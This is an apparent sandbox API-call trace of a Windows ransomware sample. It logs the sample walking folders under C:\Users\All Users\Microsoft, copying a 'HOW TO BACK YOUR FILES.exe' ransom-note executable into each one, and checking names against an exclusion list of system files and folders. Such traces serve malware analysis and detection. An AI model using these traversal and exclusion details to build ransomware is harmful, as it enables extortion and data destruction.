	[0080.403] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0080.403] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data"
	[0080.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5985e8 | out: hHeap=0x580000) returned 1
	[0080.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0080.403] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned 40
	[0080.403] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data"
	[0080.403] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.403] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.404] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.404] GetLastError () returned 0x0
	[0080.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.404] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.404] CloseHandle (hObject=0x10c) returned 1
	[0080.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.404] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.404] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.405] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.405] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.405] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.405] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.405] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.405] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.405] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="Apollon865.txt.exe") returned 1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2=".") returned 1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="..") returned 1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="windows") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="bootmgr") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="temp") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="pagefile.sys") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="boot") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="ids.txt") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="ntuser.dat") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="perflogs") returned -1
	[0080.405] lstrcmpiW (lpString1="Applications", lpString2="MSBuild") returned -1
	[0080.405] lstrlenW (lpString="Applications") returned 12
	[0080.405] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*") returned 42
	[0080.405] lstrcpyW (in: lpString1=0x119e65a, lpString2="Applications" | out: lpString1="Applications") returned="Applications"
	[0080.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0080.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0080.405] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0080.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.405] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.405] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0080.405] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.405] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0080.406] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1
	[0080.406] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1
	[0080.406] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1
	[0080.406] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1
	[0080.406] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0
	[0080.406] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
	[0080.406] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.406] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0080.406] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications"
	[0080.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0080.406] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned 53
	[0080.406] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications"
	[0080.406] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.406] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.407] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.407] GetLastError () returned 0x0
	[0080.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.407] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.407] CloseHandle (hObject=0x10c) returned 1
	[0080.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.407] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.407] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.407] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.407] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.407] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.407] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.407] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.407] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.407] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.407] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.407] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.407] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.408] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0080.408] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.408] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0080.408] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0080.408] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0080.408] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0080.408] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0080.408] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.408] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0080.408] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\RAC", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC"
	[0080.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdfc8 | out: hHeap=0x580000) returned 1
	[0080.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0080.408] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC") returned 32
	[0080.408] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC"
	[0080.408] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.408] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.409] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.409] GetLastError () returned 0x0
	[0080.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.409] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.409] CloseHandle (hObject=0x10c) returned 1
	[0080.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.409] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.409] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.409] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.409] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.409] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.409] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.409] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.409] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.409] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.409] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.409] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f97e950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.410] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.410] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="Apollon865.txt.exe") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2=".") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="..") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="windows") returned -1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="bootmgr") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="temp") returned -1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="pagefile.sys") returned -1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="boot") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="ids.txt") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="ntuser.dat") returned 1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="perflogs") returned -1
	[0080.410] lstrcmpiW (lpString1="Outbound", lpString2="MSBuild") returned 1
	[0080.410] lstrlenW (lpString="Outbound") returned 8
	[0080.410] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\*") returned 34
	[0080.410] lstrcpyW (in: lpString1=0x119e64a, lpString2="Outbound" | out: lpString1="Outbound") returned="Outbound"
	[0080.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0080.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5985e8
	[0080.410] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0080.410] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="Apollon865.txt.exe") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2=".") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="..") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="windows") returned -1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="bootmgr") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="temp") returned -1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="pagefile.sys") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="boot") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="ids.txt") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="ntuser.dat") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="perflogs") returned 1
	[0080.410] lstrcmpiW (lpString1="PublishedData", lpString2="MSBuild") returned 1
	[0080.411] lstrlenW (lpString="PublishedData") returned 13
	[0080.411] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned 41
	[0080.411] lstrcpyW (in: lpString1=0x119e64a, lpString2="PublishedData" | out: lpString1="PublishedData") returned="PublishedData"
	[0080.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0080.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
	[0080.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0080.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="Apollon865.txt.exe") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2=".") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="..") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="windows") returned -1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="bootmgr") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="temp") returned -1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="pagefile.sys") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="boot") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="ids.txt") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="ntuser.dat") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="perflogs") returned 1
	[0080.411] lstrcmpiW (lpString1="StateData", lpString2="MSBuild") returned 1
	[0080.411] lstrlenW (lpString="StateData") returned 9
	[0080.411] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned 46
	[0080.411] lstrcpyW (in: lpString1=0x119e64a, lpString2="StateData" | out: lpString1="StateData") returned="StateData"
	[0080.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0080.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598648
	[0080.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
